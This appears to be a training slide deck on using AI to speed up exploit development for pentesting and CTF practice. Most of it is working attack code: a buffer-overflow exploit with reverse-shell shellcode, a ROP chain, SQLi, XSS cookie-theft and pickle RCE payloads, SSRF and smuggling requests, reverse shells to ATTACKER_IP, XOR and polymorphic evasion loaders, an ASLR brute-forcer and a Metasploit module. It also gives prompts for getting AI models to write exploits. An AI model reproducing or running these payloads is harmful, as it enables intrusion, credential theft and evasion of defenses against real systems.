Lesson 08 AI-Generated Exploit Development
Theme:
Lesson 08 · Slide 1

AI-Generated Exploit Development

Leveraging AI to accelerate the exploit development lifecycle — from vulnerability discovery through proof-of-concept creation to responsible weaponization for authorized testing.

⚠ Educational Use Only

Exploit development is demonstrated strictly for authorized penetration testing, security research, and CTF competitions. Creating exploits for unauthorized use is illegal and unethical. Always practice responsible disclosure.

Exploit Dev AI-Assisted Red Team CTF
Lesson 08 · Slide 2

Lesson Objectives

  1. Understand the full exploit development lifecycle and where AI accelerates each stage
  2. Use AI to analyse CVEs and generate proof-of-concept exploits
  3. Develop buffer overflow exploits with AI-assisted stack analysis and ROP chain generation
  4. Craft web exploits — SQLi, XSS, and deserialization payloads with AI help
  5. Build Metasploit modules using AI-generated scaffolding
  6. Apply payload encoding and evasion techniques for red team operations
  7. Practice responsible disclosure and ethical exploit development
Lesson 08 · Slide 3

The Exploit Development Lifecycle

Every exploit follows a predictable pipeline. AI can assist at each stage, dramatically reducing time-to-PoC.

StageDescriptionAI Role
1. DiscoveryIdentify a vulnerability in target softwareCVE analysis, pattern recognition in source
2. AnalysisUnderstand root cause, trigger conditionsCode review, crash triage, decompilation
3. PoC CreationBuild minimal proof-of-concept triggerGenerate exploit skeleton, test payloads
4. WeaponizationMake reliable, portable, evasion-awarePayload encoding, module scaffolding
5. ReportingResponsible disclosure or pentest reportDraft advisories, CVSS scoring
Lesson 08 · Slide 4

Stage 1 — Vulnerability Discovery with AI

AI excels at scanning large codebases for common vulnerability patterns that human reviewers may miss under time pressure.

Prompt Strategy: Source Code Audit

Analyze this C function for memory safety vulnerabilities.
Identify: buffer overflows, format string bugs, use-after-free,
integer overflows, and unsafe string operations.

For each finding, provide:
1. The vulnerable line(s)
2. The CWE classification
3. A triggering input
4. Severity assessment (CVSS 3.1 base score estimate)

```c
void process_request(int sockfd) {
    char buffer[256];
    char username[64];
    int len = recv(sockfd, buffer, 1024, 0);  // BUG: 1024 > 256
    sprintf(username, "User: %s", buffer);     // BUG: no bounds check
    log_message(username);
}
```
Notes: AI will flag the recv() reading 1024 bytes into a 256-byte buffer (CWE-120) and the sprintf without bounds checking (CWE-120/CWE-134). The structured prompt format yields actionable results.
Lesson 08 · Slide 5

AI-Assisted CVE Analysis

Given a CVE identifier, AI can parse advisories, identify affected code paths, and suggest exploitation strategies.

import anthropic

client = anthropic.Anthropic()

cve_description = """
CVE-2024-XXXX: Stack-based buffer overflow in libexample v3.2.1.
The parse_header() function in src/parser.c does not validate the
length of the 'Content-Type' header before copying it into a
fixed-size stack buffer using strcpy(). Remote attackers can send
a crafted HTTP request to trigger code execution.
CVSS: 9.8 (Critical) | Vector: NETWORK/LOW/NONE
"""

response = client.messages.create(
    model="claude-sonnet-4-20250514",
    max_tokens=2048,
    messages=[{
        "role": "user",
        "content": f"""Analyze this CVE for exploit development:

{cve_description}

Provide:
1. Root cause analysis
2. Exploitation prerequisites
3. Likely memory layout and offset estimation
4. Suggested exploitation technique (ret2libc, ROP, etc.)
5. Mitigation bypasses needed (ASLR, DEP, stack canaries)
6. Skeleton PoC approach"""
    }]
)
print(response.content[0].text)
Lesson 08 · Slide 6

Stage 2 — Vulnerability Analysis Deep Dive

After identifying a vulnerability, AI helps map out the exact conditions needed to trigger it reliably.

What AI Can Determine

  • Exact offset to EIP/RIP overwrite
  • Bad characters that break the payload
  • Available register states at crash
  • Reachable code paths to the vulnerability
  • Required authentication or session state

Crash Triage Prompt

Feed AI the GDB crash dump, register state, and backtrace. Ask it to determine:

  • Which input bytes control EIP
  • Available space for shellcode
  • Stack alignment requirements
  • Viable pivot points
Lesson 08 · Slide 7

Buffer Overflow — Stack Layout Analysis

AI can reconstruct the stack layout from disassembly, helping you calculate precise offsets for control-flow hijacking.

"""
AI-assisted stack layout analyzer.
Feed it function prologue disassembly to map local variables.
"""

disassembly = """
push   ebp
mov    ebp, esp
sub    esp, 0x118          ; 280 bytes of local space
lea    eax, [ebp-0x108]    ; buffer starts at ebp-264
push   0x400               ; recv length = 1024
push   eax                 ; buffer pointer
push   dword [ebp+0x8]     ; sockfd argument
call   recv
"""

prompt = f"""Given this x86 disassembly, map the stack layout:

{disassembly}

Calculate:
1. Size of local variable space
2. Offset from buffer start to saved EBP
3. Offset from buffer start to return address (EIP)
4. Maximum payload size before hitting return address
5. Draw an ASCII stack diagram"""

# AI Response (summarized):
# buffer:    ebp-0x108 (ebp-264)  ->  264 bytes to saved EBP
# saved EBP: ebp+0x0              ->  4 bytes
# saved EIP: ebp+0x4              ->  OVERWRITE TARGET
# Offset to EIP: 264 + 4 = 268 bytes
Notes: The key insight: recv reads 1024 bytes but buffer is only 264 bytes from EBP. Offset to EIP = 268 bytes. AI can compute this instantly from raw disassembly.
Lesson 08 · Slide 8

Buffer Overflow — Cyclic Pattern Technique

Before asking AI for offsets, generate a cyclic pattern to empirically determine the exact overwrite offset.

#!/usr/bin/env python3
"""Generate cyclic pattern and calculate offset from crash address."""

import struct
import socket

def cyclic(length):
    """Generate a De Bruijn sequence for offset detection."""
    pattern = b""
    for upper in range(ord('A'), ord('Z') + 1):
        for lower in range(ord('a'), ord('z') + 1):
            for digit in range(10):
                if len(pattern) >= length:
                    return pattern[:length]
                pattern += bytes([upper, lower]) + str(digit).encode() + b"\x00"[0:0]
                pattern += bytes([upper, lower, ord('0') + digit, ord('!')])
    return pattern[:length]

# Step 1: Send the cyclic pattern to crash the service
target = ("192.168.1.100", 9999)
payload = cyclic(600)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(target)
sock.send(payload)
sock.close()

# Step 2: After crash, check EIP value in debugger
# Example: EIP = 0x41386741 ("Ag8A")
crash_eip = 0x41386741
offset = payload.find(struct.pack("<I", crash_eip))
print(f"[+] EIP offset: {offset} bytes")
# Output: [+] EIP offset: 268 bytes
Lesson 08 · Slide 9

ROP Chain Generation with AI

Return-Oriented Programming (ROP) bypasses DEP/NX by chaining existing code fragments. AI accelerates gadget selection and chain construction.

"""
Prompt AI with available ROP gadgets to build an exploit chain.
"""

gadgets = """
Available gadgets from 'ropper --file vuln_binary':
0x080484a1: pop eax; ret
0x080484b3: pop ebx; ret
0x080484c7: pop ecx; pop edx; ret
0x080484d9: int 0x80
0x080484e5: xor eax, eax; ret
0x080484f1: mov [ebx], eax; ret
0x08048503: inc eax; ret
0x08048507: add eax, 0xb; ret
"""

# AI-generated ROP chain for execve("/bin/sh", NULL, NULL)
import struct
p = lambda x: struct.pack("<I", x)

rop_chain  = b"A" * 268                  # padding to EIP

# Write "/bin/sh\x00" to writable .data section (0x0804a020)
rop_chain += p(0x080484a1)               # pop eax; ret
rop_chain += b"/bin"                     # eax = "/bin"
rop_chain += p(0x080484b3)               # pop ebx; ret
rop_chain += p(0x0804a020)               # ebx = .data addr
rop_chain += p(0x080484f1)               # mov [ebx], eax; ret

rop_chain += p(0x080484a1)               # pop eax; ret
rop_chain += b"/sh\x00"                  # eax = "/sh\0"
rop_chain += p(0x080484b3)               # pop ebx; ret
rop_chain += p(0x0804a024)               # ebx = .data+4
rop_chain += p(0x080484f1)               # mov [ebx], eax; ret

# Set up execve(ebx="/bin/sh", ecx=0, edx=0)
rop_chain += p(0x080484b3)               # pop ebx; ret
rop_chain += p(0x0804a020)               # ebx = "/bin/sh"
rop_chain += p(0x080484c7)               # pop ecx; pop edx; ret
rop_chain += p(0x00000000)               # ecx = NULL
rop_chain += p(0x00000000)               # edx = NULL
rop_chain += p(0x08048507)               # add eax, 0xb; ret (eax=11=execve)
rop_chain += p(0x080484d9)               # int 0x80

print(f"[+] ROP chain: {len(rop_chain)} bytes")
Lesson 08 · Slide 10

AI Prompt for ROP Chain Construction

The key to effective AI-assisted ROP is providing complete context about the target environment.

Effective ROP Prompt Template

Target: Linux x86 (32-bit), no ASLR, DEP enabled
Goal: execve("/bin/sh", NULL, NULL)
Writable section: .data at 0x0804a020

Available ROP gadgets:
[paste gadget list from ropper/ROPgadget]

Constraints:
- No null bytes in addresses (0x00 breaks strcpy)
- Max chain length: 500 bytes
- Bad chars: \x00\x0a\x0d

Generate a complete ROP chain in Python with:
1. Comments explaining each gadget's purpose
2. The full exploit payload including padding
3. A network delivery mechanism (socket)
Notes: Always specify constraints like bad characters and size limits. AI will generate chains that avoid those bytes, or flag when a constraint makes the goal impossible.
Lesson 08 · Slide 11

Web Exploit Development — SQL Injection

AI can craft sophisticated SQLi payloads tailored to specific database backends and WAF configurations.

"""AI-assisted SQL injection payload generator."""

import requests

target = "http://vulnerable-app.local/login"

# AI-generated payloads for different scenarios
payloads = {
    # Authentication bypass (MySQL)
    "auth_bypass": {
        "username": "admin' OR '1'='1'-- -",
        "password": "anything"
    },

    # Union-based data extraction (MySQL)
    "union_extract": {
        "id": "1 UNION SELECT username,password,3,4 FROM users-- -"
    },

    # Time-based blind (when no visible output)
    "blind_time": {
        "id": "1' AND IF(SUBSTRING(@@version,1,1)='8',SLEEP(5),0)-- -"
    },

    # Error-based extraction (MySQL)
    "error_based": {
        "id": "1' AND EXTRACTVALUE(1,CONCAT(0x7e,"
              "(SELECT password FROM users LIMIT 1),0x7e))-- -"
    },

    # Stacked queries for write access (MSSQL)
    "stacked_mssql": {
        "id": "1'; EXEC xp_cmdshell 'whoami';-- -"
    }
}

# Test authentication bypass
print("[*] Testing auth bypass...")
resp = requests.post(target, data=payloads["auth_bypass"])
if "Welcome" in resp.text or resp.status_code == 302:
    print("[+] Authentication bypassed!")
else:
    print("[-] Bypass failed, trying next technique...")
Lesson 08 · Slide 12

Web Exploit Development — XSS Chains

Cross-Site Scripting payloads range from simple alert boxes to sophisticated session hijacking chains. AI helps bypass filters.

// AI-generated XSS payloads with increasing sophistication

// Level 1: Basic reflected XSS (no filters)
// <script>alert(document.cookie)</script>

// Level 2: Bypass tag blacklist using event handlers
// <img src=x onerror="alert(document.cookie)">

// Level 3: Bypass quote filtering with String.fromCharCode
// <img src=x onerror=alert(String.fromCharCode(88,83,83))>

// Level 4: Bypass parenthesis filtering
// <img src=x onerror="window.onerror=alert;throw'XSS'">

// Level 5: Full session hijack payload (encoded)
/*
<script>
  var x = new XMLHttpRequest();
  x.open('GET','https://attacker.com/steal?c='+document.cookie,true);
  x.send();
</script>
*/

// Level 6: DOM-based XSS via URL fragment
// https://target.com/page#<img src=x onerror=fetch('https://attacker.com/'+document.cookie)>

// AI-generated WAF bypass for Cloudflare-style rules
// <svg/onload=alert(1)>
// <details open ontoggle=alert(1)>
// <math><mtext><table><mglyph><style><!--</style>
//   <img src=x onerror=alert(1)>
Notes: Emphasize that XSS chains are used during authorized pentests to demonstrate real impact. Simply finding a reflected XSS is not enough — demonstrating cookie theft or account takeover justifies the severity rating.
Lesson 08 · Slide 13

Web Exploit — Deserialization Gadgets

Insecure deserialization is a critical class of vulnerability. AI can help construct gadget chains for Java, PHP, Python, and .NET.

"""
AI-assisted Python pickle deserialization exploit.
Target: Flask app using pickle.loads() on user-controlled input.
"""

import pickle
import base64
import os

class RCE:
    """Malicious class that executes commands on unpickling."""
    def __reduce__(self):
        # __reduce__ tells pickle how to reconstruct the object
        # We abuse it to execute arbitrary commands
        return (os.system, ("id; cat /etc/passwd",))

# Generate the serialized payload
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()

print(f"[+] Serialized payload (base64):")
print(encoded)

# Deliver via vulnerable endpoint
import requests
target = "http://vulnerable-app.local/api/load-session"
resp = requests.post(target, json={"session_data": encoded})
print(f"[+] Response: {resp.text}")

# For Java targets, AI can help construct ysoserial-style chains:
# Ask: "Generate a CommonsCollections1 gadget chain explanation
#        and the equivalent Java serialization payload"
Lesson 08 · Slide 14

HTTP Exploit Request Crafting

AI helps construct precise HTTP requests that exploit server-side vulnerabilities — SSRF, path traversal, header injection.

"""AI-crafted HTTP exploit requests for common web vulns."""

import requests

base = "http://target.local"

# 1. Server-Side Request Forgery (SSRF)
# Bypass URL validation to hit internal metadata endpoint
ssrf_payloads = [
    f"{base}/fetch?url=http://169.254.169.254/latest/meta-data/",
    f"{base}/fetch?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/",
    f"{base}/fetch?url=http://0x7f000001:8080/admin",
    f"{base}/fetch?url=http://2130706433/admin",  # decimal IP
]

# 2. Path traversal with filter bypass
traversal_payloads = [
    f"{base}/download?file=....//....//....//etc/passwd",
    f"{base}/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
    f"{base}/download?file=..%252f..%252f..%252fetc%252fpasswd",
]

# 3. Host header injection (password reset poisoning)
headers = {
    "Host": "attacker.com",
    "X-Forwarded-Host": "attacker.com",
}
resp = requests.post(
    f"{base}/reset-password",
    data={"email": "victim@target.com"},
    headers=headers
)

# 4. HTTP Request Smuggling (CL.TE)
smuggle = (
    "POST / HTTP/1.1\r\n"
    "Host: target.local\r\n"
    "Content-Length: 13\r\n"
    "Transfer-Encoding: chunked\r\n\r\n"
    "0\r\n\r\n"
    "GET /admin HTTP/1.1\r\n\r\n"
)
Lesson 08 · Slide 15

AI-Assisted Payload Generation

AI can generate shellcode, reverse shells, and staged payloads while explaining every byte for educational purposes.

"""
AI-generated reverse shell payloads for various platforms.
Always change IP/port to YOUR authorized testing infrastructure.
"""

# Python reverse shell (cross-platform)
python_revshell = '''
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
'''

# Bash reverse shell (Linux)
bash_revshell = 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# PowerShell reverse shell (Windows)
ps_revshell = '''
$c=New-Object Net.Sockets.TCPClient("ATTACKER_IP",4444)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{0}
while(($i=$s.Read($b,0,$b.Length)) -ne 0){
  $d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i)
  $r=(iex $d 2>&1|Out-String)
  $s.Write([text.encoding]::ASCII.GetBytes($r),0,$r.Length)
}
'''

# x86 Linux shellcode: execve("/bin/sh") - 28 bytes
# AI can explain each byte and instruction
shellcode = (
    b"\x31\xc0"           # xor eax, eax
    b"\x50"               # push eax        (null terminator)
    b"\x68\x2f\x2f\x73\x68" # push "//sh"
    b"\x68\x2f\x62\x69\x6e" # push "/bin"
    b"\x89\xe3"           # mov ebx, esp    (ptr to "/bin//sh")
    b"\x50"               # push eax        (NULL)
    b"\x53"               # push ebx        (ptr)
    b"\x89\xe1"           # mov ecx, esp    (argv)
    b"\x99"               # cdq             (edx = 0)
    b"\xb0\x0b"           # mov al, 0xb     (execve syscall)
    b"\xcd\x80"           # int 0x80        (syscall)
)
Lesson 08 · Slide 16

Payload Encoding & Obfuscation

Raw payloads are easily detected. AI helps apply encoding and polymorphic techniques to bypass security controls during authorized tests.

"""AI-assisted payload encoding techniques."""

import base64
import random

def xor_encode(payload: bytes, key: int) -> bytes:
    """XOR encode payload with single-byte key."""
    return bytes([b ^ key for b in payload])

def generate_decoder_stub(key: int) -> bytes:
    """Generate x86 decoder stub for XOR-encoded shellcode."""
    # AI can generate architecture-specific decoder stubs
    stub = (
        b"\xeb\x09"             # jmp short (to call)
        b"\x5e"                 # pop esi (shellcode addr)
        b"\x80\x36" + bytes([key]) +  # xor byte [esi], key
        b"\x46"                 # inc esi
        b"\x81\xfe"             # cmp esi, end_marker
        b"\xeb\xf7"             # jnz (loop)
        b"\xe8\xf2\xff\xff\xff" # call (to pop)
    )
    return stub

# Polymorphic wrapper: randomize variable names and structure
def polymorphic_python(payload_b64: str) -> str:
    """Generate a polymorphic Python loader."""
    var1 = ''.join(random.choices('abcdefghijklmnop', k=8))
    var2 = ''.join(random.choices('abcdefghijklmnop', k=8))
    var3 = ''.join(random.choices('abcdefghijklmnop', k=8))

    return f"""
import base64 as {var1}
import subprocess as {var2}
{var3} = {var1}.b64decode("{payload_b64}")
{var2}.Popen(['/bin/sh','-c',{var3}])
"""

# Base64 + XOR layered encoding
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
key = 0x41
encoded = xor_encode(shellcode, key)
final = base64.b64encode(encoded).decode()
print(f"[+] Encoded payload: {final}")
print(f"[+] Decode: XOR key=0x{key:02x}, then base64")
Lesson 08 · Slide 17

Defense Evasion Techniques

Understanding evasion is essential for red teamers. AI helps explain and implement these techniques for authorized testing.

Encoding Techniques

  • XOR encoding — single/multi-byte key rotation
  • Base64 layering — nested encoding passes
  • AES encryption — key derived at runtime
  • Custom alphabets — non-standard Base encoding

Polymorphism & Metamorphism

  • NOP sled variation — equivalent instruction substitution
  • Register reassignment — use different registers each run
  • Instruction reordering — independent blocks shuffled
  • Dead code insertion — junk ops that do nothing

Why Red Teamers Need This

If your exploit is caught by the first AV/EDR layer, you cannot test deeper defenses. Evasion lets you simulate realistic adversaries and evaluate the full defense stack.

Lesson 08 · Slide 18

Metasploit Module Development with AI

AI can scaffold complete Metasploit modules from vulnerability descriptions, saving hours of boilerplate coding.

##
# AI-generated Metasploit exploit module skeleton
# Target: Hypothetical vuln_service v1.0 buffer overflow
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VulnService 1.0 Buffer Overflow',
      'Description'    => %q{
        Stack-based buffer overflow in VulnService 1.0
        parse_request() function. Sends oversized header
        to overwrite EIP and gain code execution.
      },
      'Author'         => ['Security Researcher'],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        => [
        ['VulnService 1.0 Ubuntu 20.04', { 'Ret' => 0x08048586 }]
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2024-01-15'
    ))
    register_options([
      Opt::RPORT(9999)
    ])
  end

  def exploit
    connect
    buf  = rand_text_alpha(268)     # junk padding
    buf += [target.ret].pack('V')   # overwrite EIP
    buf += make_nops(16)            # NOP sled
    buf += payload.encoded          # shellcode
    sock.put(buf)
    handler
    disconnect
  end
end
Lesson 08 · Slide 19

AI Prompt for Metasploit Modules

Give AI the vulnerability details and it will generate a working module template with proper Metasploit conventions.

Prompt Template

Write a Metasploit exploit module for this vulnerability:

- Service: CustomHTTPd v2.1 on port 8080
- Vulnerability: Heap overflow in POST body parsing
- Trigger: POST request with Content-Length > 4096
- Tested on: Debian 11, x86_64
- ASLR: Disabled in test environment
- Protections: NX enabled, no stack canary
- Overwrite: RIP at offset 4120 from buffer start
- JMP RSP gadget available at: 0x00401234

Include:
1. Proper module metadata and references
2. check() method to verify vulnerability
3. exploit() method with full payload delivery
4. Appropriate mixins (Msf::Exploit::Remote::HttpClient)
5. Target definitions with ret addresses
6. Bad character handling
Lesson 08 · Slide 20

Complete Exploit Script — Putting It All Together

A full exploit script combines discovery, offset calculation, payload generation, and delivery into one tool.

#!/usr/bin/env python3
"""
Exploit: VulnService 1.0 Remote Buffer Overflow
AI-assisted development — educational purposes only.
"""

import socket
import struct
import argparse
import sys

def p32(addr):
    return struct.pack("<I", addr)

def create_payload(target_ip, target_port, callback_ip, callback_port):
    """Build the complete exploit payload."""

    # Stage 1: Padding to reach EIP (268 bytes)
    padding = b"A" * 268

    # Stage 2: Return address (JMP ESP gadget)
    jmp_esp = p32(0x080414c3)

    # Stage 3: NOP sled for reliability
    nop_sled = b"\x90" * 32

    # Stage 4: Reverse shell shellcode (Linux x86)
    # Connect-back to callback_ip:callback_port
    cb_ip = socket.inet_aton(callback_ip)
    cb_port = struct.pack("!H", callback_port)

    shellcode = (
        b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02"
        b"\x89\xe1\xcd\x80\x92\xb0\x66\x68" + cb_ip +
        b"\x66\x68" + cb_port + b"\x43\x66\x53\x89\xe1\x6a"
        b"\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87"
        b"\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89"
        b"\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
        b"\x89\xe3\xcd\x80"
    )

    payload = padding + jmp_esp + nop_sled + shellcode
    return payload

def exploit(args):
    print(f"[*] Target: {args.target}:{args.port}")
    print(f"[*] Callback: {args.lhost}:{args.lport}")

    payload = create_payload(args.target, args.port,
                              args.lhost, args.lport)
    print(f"[*] Payload size: {len(payload)} bytes")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((args.target, args.port))
        print("[*] Connected. Sending payload...")
        sock.send(payload)
        print("[+] Payload sent! Check your listener.")
        sock.close()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("target", help="Target IP address")
    parser.add_argument("-p", "--port", type=int, default=9999)
    parser.add_argument("--lhost", required=True, help="Listener IP")
    parser.add_argument("--lport", type=int, default=4444)
    exploit(parser.parse_args())
Lesson 08 · Slide 21

AI-Assisted Exploit Debugging

When exploits fail, AI can diagnose issues from crash data faster than manual analysis.

Common Exploit Failures & AI Diagnosis

SymptomLikely CauseAI Fix
Crash but no shellBad characters in payloadIdentify and re-encode around bad chars
SIGSEGV in shellcodeNX/DEP enabled, stack not executableSwitch to ROP chain approach
Offset inconsistentASLR enabled, addresses shiftFind info leak or brute-force strategy
Connection dropsShellcode too large for bufferStage payload or use egg hunter
Shell dies immediatelyParent process cleanupFork or migrate to new process

Debug Prompt

My exploit sends 268 bytes padding + EIP overwrite + shellcode
to a Linux x86 service. GDB shows EIP is correctly overwritten
to my JMP ESP gadget, but I get SIGSEGV at the first shellcode
byte. Register dump: ESP=0xbffff2a0, EIP=0xbffff2a4.
The first shellcode byte at 0xbffff2a4 is 0x6a.
What's wrong and how do I fix it?
Lesson 08 · Slide 22

Responsible Disclosure & Ethics

Exploit development carries significant ethical and legal weight. Every red teamer must operate within clear boundaries.

Responsible Disclosure Process

  1. Discover — find the vulnerability
  2. Document — create minimal PoC, not weaponized exploit
  3. Report — notify vendor with 90-day deadline
  4. Coordinate — work with vendor on timeline
  5. Publish — after patch is available

Legal Boundaries

  • CFAA (US) — unauthorized access is a federal crime
  • CMA (UK) — similar provisions in British law
  • Written authorization — always get it before testing
  • Scope limits — stay within defined targets
  • Bug bounties — respect program rules and scope
Lesson 08 · Slide 23

Ethics of AI-Assisted Exploit Development

AI lowers the barrier to exploit creation. This demands higher ethical standards from practitioners.

⚠ The Dual-Use Dilemma

The same AI that helps defenders patch faster also helps attackers exploit faster. As red teamers, we have a responsibility to ensure our work strengthens defenses, not undermines them.

Red Team Rules of Engagement

Lesson 08 · Slide 24

Exploit Development Workflow with AI

A structured workflow ensures AI augments your skills without creating blind spots.

StepHuman TaskAI Task
1Identify target and scopeParse CVE database, prioritize vulns
2Trigger the crash manuallyAnalyze crash dump, determine root cause
3Verify offset in debuggerGenerate cyclic pattern and offset calculator
4Choose exploitation strategyRecommend technique based on protections
5Test payload in isolated labGenerate and encode payload
6Validate and documentDraft advisory and CVSS scoring

Key Principle

AI is the accelerator, not the operator. You must understand every byte of the exploit you deploy. If you cannot explain what the payload does, do not run it.

Lesson 08 · Slide 25

Exploit Complexity Comparison

AI dramatically reduces development time across all exploit categories.

Exploit TypeManual TimeAI-Assisted TimeAI Contribution
Stack overflow PoC4-8 hours30-60 minOffset calc, shellcode gen
ROP chain8-16 hours1-3 hoursGadget selection, chain logic
SQLi extraction2-4 hours15-30 minPayload variants, WAF bypass
Deserialization6-12 hours1-2 hoursGadget chain construction
Metasploit module4-8 hours30-90 minModule skeleton, mixins
XSS chain1-3 hours10-20 minFilter bypass, encoding
Notes: These estimates assume a skilled practitioner in both cases. The AI-assisted column reflects using AI as a co-pilot, not a fully autonomous agent. Human verification is always required.
Lesson 08 · Slide 26

Advanced: ASLR Bypass Strategies

Address Space Layout Randomization is the primary obstacle for modern exploits. AI can help identify bypass techniques.

Information Leak Approach

  • Format string bug — leak stack/libc addresses
  • Partial overwrite — only overwrite low bytes (no randomization)
  • Read primitive — use separate vuln to read GOT entries

Brute Force / Bypass

  • 32-bit targets — only 8-12 bits of entropy (feasible)
  • fork() servers — child shares parent's layout
  • Non-ASLR modules — find gadgets in static binaries
# AI-generated ASLR brute force for 32-bit forking server
import socket, struct, sys

base_libc = 0xb7e00000  # starting guess
system_offset = 0x0003ada0
binsh_offset  = 0x0015ba0b

for attempt in range(4096):
    libc_base = base_libc + (attempt * 0x1000)  # page-aligned
    system_addr = libc_base + system_offset
    binsh_addr  = libc_base + binsh_offset

    payload = b"A" * 268
    payload += struct.pack("<I", system_addr)
    payload += b"BBBB"  # fake return
    payload += struct.pack("<I", binsh_addr)

    try:
        s = socket.socket(); s.settimeout(2)
        s.connect(("target", 9999)); s.send(payload)
        resp = s.recv(1024)
        if resp:
            print(f"[+] Hit at attempt {attempt}, base=0x{libc_base:08x}")
            break
    except: pass
Lesson 08 · Slide 27

Tool Integration — AI + Traditional Tools

AI does not replace exploit development tools; it integrates with them to accelerate your workflow.

ToolPurposeAI Enhancement
GDB + pwndbgRuntime debuggingInterpret crash dumps and register states
ROPgadget / ropperFind ROP gadgetsSelect optimal gadgets, build chains
pwntoolsExploit frameworkGenerate pwntools scripts from descriptions
msfvenomPayload generationChoose encoders, avoid bad chars
Burp SuiteWeb exploit testingCraft complex injection payloads
Ghidra / IDAReverse engineeringExplain decompiled code, find vulns

pwntools Integration Example

from pwn import *

# AI can generate complete pwntools scripts
elf = ELF('./vuln_binary')
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
payload = flat({268: rop.chain()})

io = remote('target', 9999)
io.sendline(payload)
io.interactive()
Lesson 08 · Slide 28

CTF Challenge

Develop a Working Exploit for a Vulnerable Service Using AI Assistance

Scenario

You have access to a custom network service (vuln_server) running on ctf-target:9999. The service accepts text input and processes it with a known-vulnerable parsing function. Your goal: achieve remote code execution and read /flag.txt.

Challenge Tasks

  1. Reconnaissance — interact with the service and identify the input that causes a crash
  2. Offset Discovery — use AI to generate a cyclic pattern and determine the EIP overwrite offset
  3. Protection Analysis — use checksec to identify binary protections, then ask AI for an appropriate technique
  4. Payload Construction — use AI to build either a ROP chain or direct shellcode injection exploit
  5. Exploit Delivery — write a complete Python exploit script that connects, sends payload, and retrieves the flag
  6. Bonus — convert your exploit into a Metasploit module
Notes: Students should use AI as a co-pilot, not copy-paste blindly. Each step should be verified in GDB before moving to the next. The bonus Metasploit task is for advanced students.
Lesson 08 · Slide 29

CTF Hints & Approach

Step-by-Step Approach

  1. Connect with nc ctf-target 9999
  2. Send increasing lengths of input: 100, 200, 500 bytes
  3. Use checksec vuln_server to check NX, canary, PIE
  4. Generate pattern: python3 -c "from pwn import *; print(cyclic(500))"
  5. Ask AI: "Given EIP=0x61616c62, what is the cyclic offset?"
  6. Build payload with AI assistance

Scoring Rubric

  • 20pts — Crash identified and documented
  • 20pts — Correct offset determined
  • 20pts — Working exploit achieves code execution
  • 20pts — Flag retrieved from target
  • 10pts — Clean, commented exploit script
  • 10pts — Bonus: Metasploit module
Lesson 08 · Slide 30

Key Takeaways

⚠ Remember

The goal of exploit development in a red team context is to improve defenses. Every exploit you write should result in a patch, a detection rule, or a stronger security posture for the target organization.

1 / ?